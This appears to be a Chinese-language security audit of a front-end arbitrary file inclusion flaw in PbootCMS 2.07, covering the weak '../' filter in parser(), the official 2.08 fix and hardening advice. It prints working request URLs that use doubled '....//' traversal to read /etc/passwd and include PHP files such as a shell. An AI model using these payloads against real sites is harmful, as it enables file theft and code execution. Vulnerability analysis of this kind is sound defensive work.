代码审计:PbootCMS2.07内核处理缺陷导致的一个前台任意文件包含漏洞分析
字数 1227 2025-08-25 22:58:40
PbootCMS 2.07 前台任意文件包含漏洞分析报告
漏洞概述
PbootCMS 2.07 版本存在一个由于内核处理缺陷导致的前台任意文件包含漏洞,攻击者可以通过精心构造的请求实现任意文件读取和包含,可能导致敏感信息泄露或远程代码执行。
漏洞原理分析
核心问题点
漏洞位于 PbootCMS 内核的模板解析函数 parser() 中,该函数存在以下关键缺陷:
-
路径过滤不充分:
$theme = preg_replace('/\.\.(\/|\\\)/', '', $theme); // 过滤掉相对路径 $file = preg_replace('/\.\.(\/|\\\)/', '', $file); // 过滤掉相对路径仅对路径中的
../或..\进行了一次替换,可以通过双写绕过(如....//)。 -
文件包含逻辑:
- 当模板文件不在缓存中时,系统会读取
$tpl_file内容并写入缓存文件 - 最终通过
include包含编译后的缓存文件
- 当模板文件不在缓存中时,系统会读取
攻击链
完整的攻击链如下:
TagController -> parser() -> 双写绕过路径过滤 -> 文件读取 -> 文件写入 -> 文件包含
漏洞利用细节
触发点
漏洞通过 TagController 的 index() 方法触发:
public function index() {
// ...
$tagstpl = request('tagstpl');
if (! preg_match('/^[\w\-\.\/]+$/', $tagstpl)) {
$tagstpl = 'tags.html';
}
$content = parent::parser($this->htmldir . $tagstpl); // 漏洞触发点
// ...
}
利用条件
- 攻击者可以控制
tagstpl参数 - 系统未启用模板缓存或缓存文件不存在
利用方法
-
构造恶意路径:
- 使用双写绕过过滤:
....//....//....//etc/passwd - 实际路径会变为:
../../../etc/passwd
- 使用双写绕过过滤:
-
文件包含验证:
- 读取系统文件:
/tag?tagstpl=....//....//....//etc/passwd - 包含PHP文件:
/tag?tagstpl=....//....//....//path/to/shell.php
- 读取系统文件:
漏洞验证
Windows 环境验证
读取 D 盘根目录文件:
http://target.com/tag?tagstpl=....//....//....//D:/test.txt
Linux 环境验证
读取 /etc/passwd:
http://target.com/tag?tagstpl=....//....//....//etc/passwd
PHP 文件包含验证
包含 phpinfo():
http://target.com/tag?tagstpl=....//....//....//path/to/phpinfo.php
修复方案分析
官方修复 (2.08版本)
-
修改正则表达式:
- 旧版:
/^[\w\-\.\/]+$/ - 新版:强制限制后缀名为
.html
- 旧版:
-
新增过滤函数:
- 添加了
preg_replace_r()函数进行循环替换
- 添加了
修复不足
官方修复仅针对 TagController 的正则进行了修改,未对内核中的路径过滤逻辑进行根本性修复,理论上其他可控 parser() 调用的地方仍可能存在风险。
安全建议
- 升级到最新版本:确保使用 PbootCMS 2.08 或更高版本
- 全面检查:检查所有调用
parser()方法的地方,确保参数可控性 - 增强过滤:
- 实现多层路径过滤
- 使用
realpath()函数解析最终路径 - 限制包含文件的后缀名
- 权限控制:限制 Web 服务器对系统文件的读取权限
漏洞影响
- 影响版本:PbootCMS ≤ 2.07
- 危害等级:高危
- 潜在影响:
- 敏感信息泄露
- 远程代码执行
- 系统完全沦陷
总结
该漏洞展示了路径过滤不充分可能导致的严重后果,提醒开发者在文件操作相关功能中必须实施严格的安全措施。虽然官方已发布修复,但修复方案并不彻底,开发者应自行检查其他可能的攻击面。